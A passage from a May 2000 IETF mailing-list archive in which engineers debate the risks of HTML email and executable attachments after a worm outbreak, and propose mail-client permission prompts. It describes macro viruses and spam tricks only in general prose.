or commerce wishes to advertise through e-mail, there are already avenues
for distributing material to demographically selected individuals. Its
called the WWW and creating hypertext links in an e-mail to direct a user to
desired content is certainly MORE than enough, and also solves part of the
congestion problem, because the user must take the time to visit the site in
question as opposed the site making a visit to each and every recipient of
the message, whether they care about this week's issue of the newsletter or
not.

The issue here is not about whether it is technologically sound, but whether
we are able to market the masses with or without their expressed consent. If
a user wishes to visit a commerce's or industry's website they will
certainly follow the link provided in the e-mail. It is a different story to
simply place the web content directly in front of the user, and this begin
to cross the line of harassment and invasion. Its like the difference
between receiving an invitation to an open house, and finding out that the
open house is coming to YOUR house.

	Technology doesn't have to contradictory...it is our (ietf) purpose to
ensure the internet is used efficiently and in the mass's best interests.
This doesn't mean regulation, but it does mean providing proper avenues to
get where ever a person wants to go. I will state again, that it isn't our
business to prevent access, but it is our business to make sure that people
can and do access in the appropriate manner in such a way as to ensure each
and every user is satisfied. I mean it would be really silly if you FINGERed
a site and got a webpage to display the information.

Analogously -html e-mail is a lot like the Microsoft windows is it good for
consumers or bad. HTML e-mail like Microsoft windows has made content
browsing easier and closer to ubiquitousness, but at the cost of user
education. If there is no reason for a user to learn how to use the web or
the rest of the net, then why should they???

-Scot Mc Pherson
-RF Engineer
-ClearAccess Communications
-Ph: 941.744.5757 ext. 210
-Fax: 941.744.0629
-mailto:smcpherson@clearaccess.net
-http://www.clearaccess.net


-----Original Message-----
From: Lillian Komlossy [mailto:Lillian@dmnews.com]
Sent: Thursday, May 11, 2000 2:29 PM
To: 'Scot Mc Pherson'
Cc: 'ietf@ietf.org'
Subject: RE: VIRUS WARNING


Scot,

ITA we do not need the HTML email for our everyday use.
HTML based email is mainly used by the Email-Newsletter companies, (i.e.
Whitehat,
Exactis, etc...) especially for advertising purposes.
We can argue that we don't need it but in reality, these companies
live off the daily newsletters they send out. I believe all of these
newsletters
are being sent out to people who actually subscribed to receive them.
While the reason is mainly commercial it cannot be ignored. As far as the
bandwidth is concerned - most of those HTML emails don't actually email the
images
but rather display it via a link from their own server. (Which of course
does not help
bandwidth matters especially if first the run it through a logging agent).
I believe the problem starts when somebody writes an HTML email that can
retrieve,
write or execute anything on the receiving client's system.
I agree with you - it is contradictory. So is every new technology, even the
more
tangible ones. I'll bet once everybody agreed that there is no need for the
automobile, horses will do fine -  but now we want to take our
tractor-trailer
to work, on an eco-car style gas-burn, and speed as fast as a Ferrari. Go
figure.


Lillian Komlossy
Site Manager
http://www.dmnews.com
http://www.imarketingnews.com
(212) 925-7300 ext. 232


-----Original Message-----
From: Scot Mc Pherson [mailto:smcpherson@clearaccess.net]
Sent: Thursday, May 11, 2000 1:59 PM
To: 'Lillian Komlossy'
Cc: ietf@ietf.org
Subject: RE: VIRUS WARNING


Lillian,
	I am not so sure I totally agree. Why exactly do we need HTML based
e-mail...Is it really necessary? E-mail is a service for transmitting a
written message, and written messages certainly don't require background
graphics or a full blown graphically based webpage.

	There are a few reasons why I believe this, one of the most
compelling IMHO
is that graphic content in e-mails increases the size of the e-mail
exponentially, thus greatly contributing to the packet congestion already
extremely evident on the Internet today. I realize that we are developing
new technologies all the time that increase bandwidth, but I think its
terribly inefficient, and dangerous.

	There is no practical need for html e-mail. It like saying I want to
use a
tractor trailer to commute to work everyday, but it needs to consume only as
much gas as an eco car, and go as fast a Ferrari.

Scot



-----Original Message-----
From: Lillian Komlossy [mailto:Lillian@dmnews.com]
Sent: Thursday, May 11, 2000 11:13 AM
To: 'Scot Mc Pherson'
Cc: 'ietf@ietf.org'
Subject: RE: VIRUS WARNING


Scot,

While what you say is true - meaning an all-text restriction on your email
browser will prevent
"dangerous goods" to be downloaded - it also takes away functionality. We
have to find a way to
be able to use html based email but restrict it from - say running scripts,
executing anything,
writing cookies, issuing queries, etc... Until that happens, you're right -
html based email
is like a runaway train. We have to invent the "brakes" now.

Lillian Komlossy
Site Manager
http://www.dmnews.com
http://www.imarketingnews.com
(212) 925-7300 ext. 232


>>-----Original Message-----
>>From: Scot Mc Pherson [mailto:smcpherson@clearaccess.net]
>>Sent: Thursday, May 11, 2000 10:07 AM
>>To: Valdis.Kletnieks@vt.edu; 'Castro, Edison M. (PCA)'
>>Cc: 'Steven M. Bellovin'; Stef@NMA.COM; 'Brant Knudson'; ietf@ietf.org
>>Subject: RE: VIRUS WARNING
>>
>>
>>I believe the one of the most important holes is html based mail, because
>>the e-mail is processed as a webpage which can be used to download
>>undesirable content. If you configure your e-mail browser to display all
>>messages as text you will close this hole...You will notice my e-mails are
>>nearly 100% text
>>
>>Scot



From owner-ietf-outbound  Thu May 11 15:40:09 2000
Received: by ietf.org (8.9.1a/8.9.1a) id PAA06728
	for ietf-outbound.10@ietf.org; Thu, 11 May 2000 15:40:02 -0400 (EDT)
Received: from black-ice.cc.vt.edu (root@black-ice.cc.vt.edu [128.173.14.71])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA06600
	for <ietf@ietf.org>; Thu, 11 May 2000 15:31:43 -0400 (EDT)
From: Valdis.Kletnieks@vt.edu
Received: from black-ice.cc.vt.edu (valdis@LOCALHOST [127.0.0.1])
	by black-ice.cc.vt.edu (8.11.0.Beta0/8.11.0.Beta0) with ESMTP id e4BJVgk21430;
	Thu, 11 May 2000 15:31:43 -0400
Message-Id: <200005111931.e4BJVgk21430@black-ice.cc.vt.edu>
X-Mailer: exmh version 2.1.1 10/15/1999
To: Scot Mc Pherson <smcpherson@clearaccess.net>
cc: ietf@ietf.org
Subject: Re: VIRUS WARNING 
In-reply-to: Your message of "Thu, 11 May 2000 15:04:48 EDT."
             <00ae01bfbb7b$c7f8b500$4cc8a8c0@clearaccess.net> 
X-URL: http://black-ice.cc.vt.edu/~valdis/
X-Face: 34C9$Ewd2zeX+\!i1BA\j{ex+$/V'JBG#;3_noWWYPa"|,I#`R"{n@w>#:{)FXyiAS7(8t(
 ^*w5O*!8O9YTe[r{e%7(yVRb|qxsRYw`7J!`AM}m_SHaj}f8eb@d^L>BrX7iO[<!v4-0bVIpaxF#-)
 %9#a9h6JXI|T|8o6t\V?kGl]Q!1V]GtNliUtz:3},0"hkPeBuu%E,j(:\iOX-P,t7lRR#
References: <00ae01bfbb7b$c7f8b500$4cc8a8c0@clearaccess.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Thu, 11 May 2000 15:31:39 -0400
X-Loop: ietf@ietf.org

On Thu, 11 May 2000 15:04:48 EDT, Scot Mc Pherson <smcpherson@clearaccess.net>  said:
> 	The necessity to send e-mail in html is NOT. Regardless of whether a list
> or commerce wishes to advertise through e-mail, there are already avenues
> for distributing material to demographically selected individuals. Its
> called the WWW and creating hypertext links in an e-mail to direct a user to
> desired content is certainly MORE than enough, and also solves part of the
> congestion problem, because the user must take the time to visit the site in
> question as opposed the site making a visit to each and every recipient of
> the message, whether they care about this week's issue of the newsletter or
> not.

Strictly speaking, part 1:  E-mail as a while is not a necessity.  The US
Postal Service has a 200 year record of delivering large amounts of material
in a reasonably cost-effective manner.

Strictly speaking, part 2:  A case could be made that there should *NOT* be
hypertext links in a text/plain segment of an E-mail.  RFC2046, section 4.1.3
says pretty specifically:

4.1.3.  Plain Subtype

   The simplest and most important subtype of "text" is "plain".  This
   indicates plain text that does not contain any formatting commands or
   directives. Plain text is intended to be displayed "as-is", that is,

OK? Got that?  In other words, it's *PLAIN* text.  You want hyperlinks,
use text/html or some other type that is defined to support them....

(Yes, I *know* people violate this all the time.  Doesn't mean we should
encourage it *more* just because we don't like text/html....)

-- 
				Valdis Kletnieks
				Operating Systems Analyst
				Virginia Tech




From owner-ietf-outbound  Thu May 11 16:11:34 2000
Received: by ietf.org (8.9.1a/8.9.1a) id QAA07196
	for ietf-outbound.10@ietf.org; Thu, 11 May 2000 16:10:02 -0400 (EDT)
Received: from alcove.wittsend.com (IDENT:root@mirror1.wittsend.com [130.205.0.28])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA07171
	for <ietf@ietf.org>; Thu, 11 May 2000 16:09:29 -0400 (EDT)
Received: (from mhw@localhost)
	by alcove.wittsend.com (8.9.3/8.9.3) id PAA12637;
	Thu, 11 May 2000 15:09:04 -0400
Date: Thu, 11 May 2000 15:09:04 -0400
From: "Michael H. Warfield" <mhw@wittsend.com>
To: Jacob Palme <jpalme@DSV.SU.SE>
Cc: ietf@ietf.org
Subject: Re: VIRUS WARNING
Message-ID: <20000511150904.A9167@alcove.wittsend.com>
References: <200005111611.KAA26658@calcite.rhyolite.com> <v04210125b540adedd536@[130.237.150.138]>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.1.5i
In-Reply-To: <v04210125b540adedd536@[130.237.150.138]>; from jpalme@dsv.su.se on Thu, May 11, 2000 at 08:36:52PM +0200
X-Loop: ietf@ietf.org

On Thu, May 11, 2000 at 08:36:52PM +0200, Jacob Palme wrote:
> At 10.11 -0600 0-05-11, Vernon Schryver wrote:
> > Once you restrict
> > HTML based email enough to be safe, why bother with anything more than
> > text and perhaps simple pictures?

> What is wrong with that. I use HTML-based e-mail mostly to
> inluce pictures in my messages.

	Yup...  It's real amusing to have your boss looking over your
shoulder just about the time a spammer hits your mailer with an html
message including <IMG SRC=....> tags embedding some of his porno
for you to sample (don't scoff, it has been occuring and has required some
people to do some fast talking).  Another insiduous trick is to use the
refresh tag to bounce you over to his site where he may have other
pleasures for you like pop-up windows when you try to close the window.
This doesn't work as good since I don't think it's as well supported.
But it has been tried and does catch some chumps.  Note that the refresh
tag is not active content and if you are reading E-Mail in a broswer,
it can be real effective and real embarassing.  I don't know how
effective it is in mere html enabled readers like Outlook or Eudora.

	As far as tracking down the perpetrators goes...  How effective
have you been at tracking down the people responsible for spam?

> A very useful way of using HTML-based e-mail would also be
> to send out forms and fill them in via mail, but this does
> not work so well because some mailers does not handle such
> messages very good yet.
> -- 
> Jacob Palme <jpalme@dsv.su.se> (Stockholm University and KTH)
> for more info see URL: http://www.dsv.su.se/jpalme/

	Mike
-- 
 Michael H. Warfield    |  (770) 985-6132   |  mhw@WittsEnd.com
  (The Mad Wizard)      |  (770) 331-2437   |  http://www.wittsend.com/mhw/
  NIC whois:  MHW9      |  An optimist believes we live in the best of all
 PGP Key: 0xDF1DD471    |  possible worlds.  A pessimist is sure of it!



From owner-ietf-outbound  Thu May 11 16:21:16 2000
Received: by ietf.org (8.9.1a/8.9.1a) id QAA07391
	for ietf-outbound.10@ietf.org; Thu, 11 May 2000 16:20:02 -0400 (EDT)
Received: from localhost.localdomain ([216.52.68.3])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA07208
	for <ietf@ietf.org>; Thu, 11 May 2000 16:10:17 -0400 (EDT)
Received: from ecal.com (localhost [127.0.0.1])
	by localhost.localdomain (8.9.3/8.9.3) with ESMTP id QAA32376
	for <ietf@ietf.org>; Thu, 11 May 2000 16:10:07 -0400
Sender: francis@localhost.localdomain
Message-ID: <391B139E.30B545C6@ecal.com>
Date: Thu, 11 May 2000 16:10:06 -0400
From: John Stracke <francis@ecal.com>
X-Mailer: Mozilla 4.72 [en] (X11; U; Linux 2.2.14-5.0 i586)
X-Accept-Language: en
MIME-Version: 1.0
To: ietf@ietf.org
Subject: Re: VIRUS WARNING
References: <200005111611.KAA26658@calcite.rhyolite.com>
Content-Type: multipart/alternative;
 boundary="------------95872F20B70C837D61220742"
X-Loop: ietf@ietf.org


--------------95872F20B70C837D61220742
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Vernon Schryver wrote:

> What good is HTML based email if it cannot run
> scripts or even contain links to other HTML content?

Well, there's basic formatting:

   * Simple font variations (italics, bold, color, font) are an easy way to add
     a bit of expressiveness to your text.
        o Everybody says that the problem with email is that it's not expressive
          enough.
        o To compensate, we've got an elaborate set of conventions for imitating
          what you can do in print and face-to-face (smileys, *asterisks* for
          emphasis, etc.).
        o But new users don't know these conventions.
        o HTML offers the ability to do the same thing more comprehensibly.
          Actual smiley faces, italics for emphasis (just like people are used
          to seeing in print), headings.
   * And, of course, lists and tables are amazingly useful.

And even simple links (never mind forms, applets, etc.) are great for, say,
workflow applications.  When I worked for Netscape, HR made great use of HTML
mail in the internal network.  When I wanted to take some vacation
time, I filled out a form on the HR site; they would send mail to my manager,
with one link to approve and one to deny.  Much easier than paper-based systems,
or even non-email-based online systems (since the vacation request comes into
the inbox you already check, instead of making you go someplace else).

--
/===============================================================\
|John Stracke    | http://www.ecal.com |My opinions are my own. |
|Chief Scientist |==============================================|
|eCal Corp.      |Whose cruel idea was it for the word "lisp" to|
|francis@ecal.com|have an "S" in it?                            |
\===============================================================/



--------------95872F20B70C837D61220742
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit

<!doctype html public "-//w3c//dtd html 4.0 transitional//en">
<html>
Vernon Schryver wrote:
<blockquote TYPE=CITE>What good is HTML based email if it cannot run
<br>scripts or even contain links to other HTML content?</blockquote>
Well, there's basic formatting:
<ul>
<li>
Simple font variations (italics, bold, color, font) are an easy way to
add a bit of expressiveness to your text.</li>

<ul>
<li>
Everybody says that the problem with email is that it's not expressive
enough.</li>

<li>
To compensate, we've got an elaborate set of conventions for imitating
what you can do in print and face-to-face (smileys, *asterisks* for emphasis,
etc.).</li>

<li>
But new users don't know these conventions.</li>

<li>
HTML offers the ability to do the same thing more comprehensibly.&nbsp;
Actual smiley faces, italics for emphasis (just like people are used to
seeing in print), headings.</li>
</ul>

<li>
And, of course, lists and tables are<i> amazingly</i> useful.</li>
</ul>
And even simple links (never mind forms, applets, etc.) are great for,
say, workflow applications.&nbsp; When&nbsp;I worked for Netscape, HR made
great use of HTML mail in the internal network.&nbsp; When&nbsp;I wanted
to take some vacation time,&nbsp;I&nbsp;filled out a form on the HR site;
they would send mail to my manager, with one link to approve and one to
deny.&nbsp; <i>Much</i> easier than paper-based systems, or even non-email-based
online systems (since the vacation request comes into the inbox you already
check, instead of making you go someplace else).
<pre>--&nbsp;
/===============================================================\
|John Stracke&nbsp;&nbsp;&nbsp; | <A HREF="http://www.ecal.com">http://www.ecal.com</A> |My opinions are my own. |
|Chief Scientist |==============================================|
|eCal Corp.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |Whose cruel idea was it for the word "lisp" to|
|francis@ecal.com|have an "S" in it?&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |
\===============================================================/</pre>
&nbsp;</html>

--------------95872F20B70C837D61220742--



From owner-ietf-outbound  Thu May 11 16:31:34 2000
Received: by ietf.org (8.9.1a/8.9.1a) id QAA07581
	for ietf-outbound.10@ietf.org; Thu, 11 May 2000 16:30:02 -0400 (EDT)
Received: from shell9.ba.best.com (root@shell9.ba.best.com [206.184.139.140])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA07228
	for <ietf@ietf.org>; Thu, 11 May 2000 16:10:32 -0400 (EDT)
Received: (from bovik@localhost)
	by shell9.ba.best.com (8.9.3/8.9.2/best.sh) id NAA07997;
	Thu, 11 May 2000 13:10:15 -0700 (PDT)
Date: Thu, 11 May 2000 13:10:15 -0700 (PDT)
From: "James P. Salsman" <bovik@best.com>
Message-Id: <200005112010.NAA07997@shell9.ba.best.com>
To: ietf@ietf.org
Subject: mail sandbox wall authority, inward and outbound
X-Loop: ietf@ietf.org

A MUA might ask the console operator for permission to proceed when:

1. A mail message wants to run a program.  (e.g., ECMAscripts.)

2. An attachment is executable. (Nearly universal practice.)

3. A program wants to write to a file.  (Usually not trapped more 
than once per execution if at all.)

4. A program wants to read your address book.  (Does any mail system 
that offers this functionality limit it at all?)

5. A program wants to send mail.  (e.g., having MAPI's Send notify 
the user and queue the proposed message as a draft instead of sending.)

All of those precautions would help prevent the destruction and 
spread of worms. (These mail things aren't "VIRUS"es, technically.)

If you had to pick one, #5, asking before sending mail and making 
the user explicitly approve each message, might be the best choice, 
because the resulting messages are easily reviewed and confirmed, 
and the other actions might be more frequently legitimate.

These sorts of things are less common on the more heterogeneous 
Unix world, but Unix mailers are just as culpable.  If I wanted to 
be consistent, I would demand that anything I run on Unix (without 
a special permitted shell) which connects to port 25 should be 
intercepted, wrapped with an "ok queued" SMTP response, and 
forwarded to me instead.  Would anyone argue that isn't reasonable?

Cheers,
James

P.S. this mail sent with /ucb/Mail by Bill Joy c. 1980



From owner-ietf-outbound  Thu May 11 16:41:29 2000
Received: by ietf.org (8.9.1a/8.9.1a) id QAA07849
	for ietf-outbound.10@ietf.org; Thu, 11 May 2000 16:40:02 -0400 (EDT)
Received: from localhost.localdomain (IDENT:root@[204.214.6.250])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA07237
	for <ietf@ietf.org>; Thu, 11 May 2000 16:10:45 -0400 (EDT)
Received: from tech20 ([204.214.6.254])
	by localhost.localdomain (8.9.3/8.8.7) with SMTP id QAA17010
	for <ietf@ietf.org>; Thu, 11 May 2000 16:09:54 -0400
From: "Scot Mc Pherson" <smcpherson@clearaccess.net>
To: <ietf@ietf.org>
Subject: RE: VIRUS WARNING 
Date: Thu, 11 May 2000 16:10:33 -0400
Message-ID: <00c101bfbb84$f730a220$4cc8a8c0@clearaccess.net>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0)
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
Importance: Normal
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

strictly speaking the US postal service is not a form of electric or
electronic data communication

strictly speaking...my sig IS plain text...it is the browser that recognizes
that it could be used as a link

Strictly speaking

RFC2046, section 4.1.3
says pretty specifically:

4.1.3.  Plain Subtype

   The simplest and most important subtype of "text" is "plain".  This
   indicates plain text that does not contain any formatting commands or
   directives. Plain text is intended to be displayed "as-is", that is,

but it says nothing of e-mail browsers recognizing a string of "plain-text"
as an address.


-Scot Mc Pherson
-RF Engineer
-ClearAccess Communications
-Ph: 941.744.5757 ext. 210
-Fax: 941.744.0629
-mailto:smcpherson@clearaccess.net
-http://www.clearaccess.net

-----Original Message-----
From: Valdis.Kletnieks@vt.edu [mailto:Valdis.Kletnieks@vt.edu]
Sent: Thursday, May 11, 2000 3:32 PM
To: Scot Mc Pherson
Cc: ietf@ietf.org
Subject: Re: VIRUS WARNING


On Thu, 11 May 2000 15:04:48 EDT, Scot Mc Pherson
<smcpherson@clearaccess.net>  said:
> 	The necessity to send e-mail in html is NOT. Regardless of whether a list
> or commerce wishes to advertise through e-mail, there are already avenues
> for distributing material to demographically selected individuals. Its
> called the WWW and creating hypertext links in an e-mail to direct a user
to
> desired content is certainly MORE than enough, and also solves part of the
> congestion problem, because the user must take the time to visit the site
in
> question as opposed the site making a visit to each and every recipient of
> the message, whether they care about this week's issue of the newsletter
or
> not.

Strictly speaking, part 1:  E-mail as a while is not a necessity.  The US
Postal Service has a 200 year record of delivering large amounts of material
in a reasonably cost-effective manner.

Strictly speaking, part 2:  A case could be made that there should *NOT* be
hypertext links in a text/plain segment of an E-mail.  RFC2046, section
4.1.3
says pretty specifically:

4.1.3.  Plain Subtype

   The simplest and most important subtype of "text" is "plain".  This
   indicates plain text that does not contain any formatting commands or
   directives. Plain text is intended to be displayed "as-is", that is,

OK? Got that?  In other words, it's *PLAIN* text.  You want hyperlinks,
use text/html or some other type that is defined to support them....

(Yes, I *know* people violate this all the time.  Doesn't mean we should
encourage it *more* just because we don't like text/html....)

--
				Valdis Kletnieks
				Operating Systems Analyst
				Virginia Tech



From owner-ietf-outbound  Thu May 11 17:20:33 2000
Received: by ietf.org (8.9.1a/8.9.1a) id RAA08371
	for ietf-outbound.10@ietf.org; Thu, 11 May 2000 17:20:02 -0400 (EDT)
Received: from bells.cs.ucl.ac.uk (bells.cs.ucl.ac.uk [128.16.5.31])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA08346
	for <ietf@ietf.org>; Thu, 11 May 2000 17:17:44 -0400 (EDT)
Received: from sonic.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.24864-0@bells.cs.ucl.ac.uk>; Thu, 11 May 2000 22:17:41 +0100
to: ietf@ietf.org
Subject: Re: WORM WARNING
In-reply-to: Your message of "Thu, 11 May 2000 15:31:39 EDT." <200005111931.e4BJVgk21430@black-ice.cc.vt.edu>
Date: Thu, 11 May 2000 22:17:39 +0100
Message-ID: <163.958079859@cs.ucl.ac.uk>
From: Jon Crowcroft <J.Crowcroft@CS.UCL.AC.UK>
X-Loop: ietf@ietf.org


if once it was a virus 
which it wasnt
it surely is a worm now

of course, 
microsoft have succeeded beyond david tenenhouses wildest dreams
in active network deployment

:-|
j.



From owner-ietf-outbound  Thu May 11 17:40:07 2000
Received: by ietf.org (8.9.1a/8.9.1a) id RAA08628
	for ietf-outbound.10@ietf.org; Thu, 11 May 2000 17:40:02 -0400 (EDT)
Received: from basecamp1.netquest.net (netquest.net [204.140.219.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA08551
	for <ietf@ietf.org>; Thu, 11 May 2000 17:31:41 -0400 (EDT)
Received: from nma.com (dsl0016.netquest.net [206.117.109.16]) by basecamp1.netquest.net (8.9.1/8.8.6) with ESMTP id OAA25361 for <ietf@ietf.org>; Thu, 11 May 2000 14:32:32 -0700 (PDT)
To: ietf@ietf.org
Subject: Re: VIRUS WARNING 
In-reply-to: Your message of "Thu, 11 May 2000 07:40:26 EDT."
             <20000511114027.2A6D135DC2@smb.research.att.com> 
Reply-to: Stef@nma.com
From: Einar Stefferud <Stef@nma.com>
MIME-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-ID: <14988.958080661.1@nma.com>
Date: Thu, 11 May 2000 14:31:02 -0700
Message-ID: <14989.958080662@nma.com>
Sender: stef@nma.com
X-Loop: ietf@ietf.org

From Steven M. Bellovin's message Thu, 11 May 2000 07:40:26 -0400:
}
}In message <13901.958019788@nma.com>, Einar Stefferud writes:
}
[snip]...
}
}>Seems to me that this beloved "feature" (giving root privs to random
}>EMail messages) should (by now) now be fully discredited, and should
}>be destined for extinction, if only the customers will accept its
}>disappearance in trade for an absence of a continuing flood of these
}>$6,000,000,000 economic loss episodes.
}
}See http://catless.ncl.ac.uk/Risks/5.80.html#subj1 for details on how 
}it worked -- but it didn't involve any analog to 'root' privileges.
}

I believe the distintion between USER Privs and ROOT Privs in Windows
is almost negligable, in that the typical user opening an attachment
in USER space allows major modifications of basic ROOT funtions and
data tables, hence in Windows (and probablby other PC environments
without multi-user system barriers) ther is very little TOOT
protection from USER run processes.

And, therein lays the "root" of the problem;-)...

This is of course aggravated by attachment of such PCs to the Internet
where all end users are responsible for protecting themselves, while
their software does not help them to protect themselves.  It takes a
considerable wizard to do all the complex things that need to be done
to close the security holes.

But, whay large Fortune 2000 companies put up with all this is a great
mystery to me, and of course, intil they get the message here, they
will continue to fatten the MS purse while buying such trouble as
these problems will cause.

To repeat my mantra, it's the customer's fault, cause vendors insist
on selling what people will buy;-)...  

How can any vendor do othersise??????		Cheers...\Stef

}
}When the recipient got a copy, there was an included (or attached; I 
}don't quite remember) REXX file.  (REXX was a scripting language for VM/
}CMS.)  The message told you that it would display a Christmas card if 
}you ran it; most users did just that, since the note appeared to come 
}from someone they knew.  And then the file replicated itself; you all 
}know the rest.
}
}Note the two crucial points -- it ran with the user's permissions, and 
}it was explicitly run by the user, rather than by any automatic 
}mechanism.
}
}		--Steve Bellovin

Cheers...\Stef



From owner-ietf-outbound  Thu May 11 17:50:08 2000
Received: by ietf.org (8.9.1a/8.9.1a) id RAA08792
	for ietf-outbound.10@ietf.org; Thu, 11 May 2000 17:50:03 -0400 (EDT)
Received: from broadsoft.com (broadsoft.com [161.58.239.68])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA08736
	for <ietf@ietf.org>; Thu, 11 May 2000 17:46:10 -0400 (EDT)
Received: from raymond ([216.181.56.35]) by broadsoft.com (8.8.8) id RAA54988; Thu, 11 May 2000 17:46:08 -0400 (EDT)
From: "Doug Sauder" <doug@broadsoft.com>
To: "Castro, Edison M. (PCA)" <ECastro@NA2.US.ML.com>, <ietf@ietf.org>
Subject: RE: VIRUS WARNING
Date: Thu, 11 May 2000 17:54:41 -0400
Message-ID: <NDBBIAKOPKHFGPLCODIGEEFGCHAA.doug@broadsoft.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
In-reply-to: <C7A236ACE67FD311A0650001FA7E1AE41616CD@epcc23.na2.us.ml.com>
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
Importance: Normal
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id RAA08736
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 8bit



> -----Original Message-----
> From: Castro, Edison M. (PCA) [mailto:ECastro@NA2.US.ML.com]
> That is exactly the same way that all Windows virus work. As a Windows 
> user (as well as other OSes), I can say that people have to be 
> responsible 
> for their actions.  Whenever you receive any Email attachment, 
> the only way
> that attachment can produce any damage is if you run it.
> 
> At least in my copy of MS Word anytime I open a word document and it
> contains
> any macros, Word readily ask me if I want to allow the macro to execute. 
> Not only that, this version of Word (2000) is configured to only 
> ask me when
> a signed (with a certificate of a trusted party) macro is included.

Suppose you made the mistake of opening a Word document with a VBA (Visual Basic for Applications) script virus.  (I did this once and I am sharing a real-life experience.)  The VBA script turns off the option that disables automatically running scripts.  I kid you not!  Next time you open a Word document that contains a script, you won't be asked whether you want to run it.  If you go into the options settings and set the option to disable running scripts, you have done nothing, because the virus script runs when you close the document and turns the option back off again.

At least not allowing macros to disable the don't-run-macros option seems reasonable to me, but it seemed to have escaped the engineers who created Microsoft Word.

Doug Sauder
Software Engineer
Broadsoft, Inc



From owner-ietf-outbound  Thu May 11 18:40:23 2000
Received: by ietf.org (8.9.1a/8.9.1a) id SAA09580
	for ietf-outbound.10@ietf.org; Thu, 11 May 2000 18:40:02 -0400 (EDT)
Received: from leonid.genesyslab.com (leonid.genesyslab.com [204.94.142.156])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA09546
	for <ietf@ietf.org>; Thu, 11 May 2000 18:38:03 -0400 (EDT)
Received: (from egoshin@localhost)
	by leonid.genesyslab.com (8.9.3/8.9.3) id PAA00950;
	Thu, 11 May 2000 15:38:34 -0700
Date: Thu, 11 May 2000 15:38:34 -0700
From: Leonid Yegoshin <egoshin@genesyslab.com>
Message-Id: <200005112238.PAA00950@leonid.genesyslab.com>
To: bovik@best.com, ietf@ietf.org
Subject: Re: mail sandbox wall authority, inward and outbound
X-Loop: ietf@ietf.org

>From: "James P. Salsman" <bovik@best.com>
>
>A MUA might ask the console operator for permission to proceed when:
>
>1. A mail message wants to run a program.  (e.g., ECMAscripts.)
>
>2. An attachment is executable. (Nearly universal practice.)
>
>3. A program wants to write to a file.  (Usually not trapped more
>than once per execution if at all.)
>
>4. A program wants to read your address book.  (Does any mail system
>that offers this functionality limit it at all?)
>
>5. A program wants to send mail.  (e.g., having MAPI's Send notify
>the user and queue the proposed message as a draft instead of sending.)
>
 6. A program wants to send a file to somewhere. Or any permanently stored
    information (like cookie but not limited).

	       - Leonid Yegoshin.



From owner-ietf-outbound  Thu May 11 19:10:18 2000
Received: by ietf.org (8.9.1a/8.9.1a) id TAA10450
	for ietf-outbound.10@ietf.org; Thu, 11 May 2000 19:10:02 -0400 (EDT)
Received: from shell9.ba.best.com (root@shell9.ba.best.com [206.184.139.140])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA09976
	for <ietf@ietf.org>; Thu, 11 May 2000 18:54:33 -0400 (EDT)
Received: (from bovik@localhost)
	by shell9.ba.best.com (8.9.3/8.9.2/best.sh) id PAA22444;
	Thu, 11 May 2000 15:54:10 -0700 (PDT)
Date: Thu, 11 May 2000 15:54:10 -0700 (PDT)
From: "James P. Salsman" <bovik@best.com>
Message-Id: <200005112254.PAA22444@shell9.ba.best.com>
To: egoshin@genesyslab.com
Subject: Re: mail sandbox wall authority, inward and outbound
Cc: ietf@ietf.org
In-Reply-To: <200005112238.PAA00950@leonid.genesyslab.com>
X-Loop: ietf@ietf.org

Leonid,

Thanks for your addition:

> 6. A program wants to send a file to somewhere. Or any permanently stored
>    information (like cookie but not limited).

Yes:

Browser operators may not want to send their files, recordings,
pictures, video, or other device inputs to arbitrary sites without
their explicit permission and direction. Therefore, browser
authors are encouraged to disallow the submission of forms
which include any kind of file upload by any means other than the
standard HTML operator-controlled buttons for form submission
without explicit instruction from the session operator to the
contrary. Accordingly, the size attribute, style sheets, and
document layers should be prevented from obscuring any kind
of file upload widget if they are capable of accepting a default
filename. Furthermore, just as the operator may take direct
action to initiate, terminate, review and edit recordings ... browser 
authors are encouraged to prevent HTML scripts from taking those and
similar actions, unless for example the operator has specifically
enabled such script actions with a security option. Even then,
such preferences may be specified by the operator to reset after
an interval or at the end of the browsing session. Finally, explicit
information should be provided by the browser to the operator to
insure that the operator is fully informed when files are being uploaded. 

Cheers,
James



From owner-ietf-outbound  Thu May 11 20:50:24 2000
Received: by ietf.org (8.9.1a/8.9.1a) id UAA11667
	for ietf-outbound.10@ietf.org; Thu, 11 May 2000 20:50:02 -0400 (EDT)
